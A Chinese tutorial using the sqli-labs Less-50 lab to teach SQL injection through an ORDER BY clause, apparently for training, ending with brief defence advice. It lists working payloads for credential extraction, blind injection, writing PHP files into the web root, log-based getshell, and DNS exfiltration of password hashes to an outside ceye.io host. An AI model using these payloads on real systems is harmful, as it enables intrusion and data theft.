从sqli-labs Less - 50 全面分析order by后注入
字数 1024 2025-08-15 21:34:01
SQL注入进阶:ORDER BY后注入技术全面解析
1. ORDER BY注入概述
ORDER BY注入是一种特殊的SQL注入形式,发生在SQL查询的ORDER BY子句中。与WHERE子句后的注入不同,ORDER BY注入有其独特的特点和技术手段。
1.1 基本特征
- 注入点位于ORDER BY子句
- 不能使用UNION等常规注入技术
- 可利用ORDER BY后的参数进行注入:ASC/DESC、LIMIT、PROCEDURE、INTO OUTFILE等
1.2 常见注入场景
SELECT * FROM users ORDER BY $id
其中$id是用户可控的输入参数。
2. 注入验证方法
2.1 排序验证
- 升序验证:
?sort=1 asc - 降序验证:
?sort=1 desc
2.2 rand()函数验证
?sort=rand(true)和?sort=rand(false)结果不同?sort=rand()结果随机变化
2.3 延时验证
?sort=sleep(1)?sort=(sleep(1))?sort=1 and sleep(1)
延时时间为(行数×延时秒数)
3. 注入技术分类
3.1 报错注入
3.1.1 使用AND连接
?sort=1+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(username,password)+AS+CHAR),0x7e))+FROM+users+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)
?sort=0 and%20(updatexml(1,concat(0x5e24,(user()),0x5e24),1))
3.1.2 直接添加注入语句
?sort=(SELECT COUNT(*) FROM information_schema.COLUMNS GROUP BY CONCAT(0x3a,0x3a,(SELECT user()),0x3a,0x3a,FLOOR(RAND(0)*2)))
3.2 PROCEDURE ANALYSE注入
仅适用于Linux环境:
?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)
?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,(SELECT+CONCAT_WS(':',username,password)+FROM+users limit 0,1))),1)
3.3 布尔盲注
?sort=RAND(LEFT(database(),1)>'r')
?sort=RAND(LEFT(database(),1)>'s')
3.4 延时盲注
?sort=RAND(IF(ASCII(SUBSTR(database(),1,1))>114,1,sleep(1)))
?sort=RAND(IF(ASCII(SUBSTR(database(),1,1))>115,1,sleep(1)))
?sort=(SELECT IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,md5('1')),null) FROM (select database() as current) as tb1)
4. 文件操作技术
4.1 INTO OUTFILE导出数据
?sort=1 INTO OUTFILE "C:/phpstudy_pro/WWW/less50.txt"
4.2 利用LINES TERMINATED BY写shell
?sort=1 INTO OUTFILE "C:/phpstudy_pro/WWW/less50.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e
其中0x3c3f70687020706870696e666f28293b3f3e是<?php phpinfo();?>的十六进制编码
5. 堆叠注入技术
当使用mysqli_multi_query函数时支持堆叠注入(多个SQL语句用分号分隔)
5.1 DNSLog数据外带
?sort=1;SELECT LOAD_FILE(CONCAT(SELECT HEX(password) FROM users LIMIT 1,1),'.b182oj.ceye.io\\abc'));
5.2 开启日志Getshell
?sort=1;set global general_log = "ON";set global general_log_file='C:/phpstudy_pro/WWW/1.php';
?sort=1;select "<?php phpinfo();?>";
6. 防御建议
- 使用参数化查询或预处理语句
- 对用户输入进行严格过滤和验证
- 限制数据库用户权限,避免使用高权限账户
- 禁用不必要的MySQL功能(如INTO OUTFILE)
- 对错误信息进行统一处理,避免泄露敏感信息
7. 总结
ORDER BY注入是一种特殊的注入形式,需要掌握特定的技术手段。根据不同的环境和条件,可以选择报错注入、布尔盲注、延时盲注、文件导出或堆叠注入等技术。防御时需要特别注意ORDER BY子句的处理,不能仅关注WHERE子句的安全防护。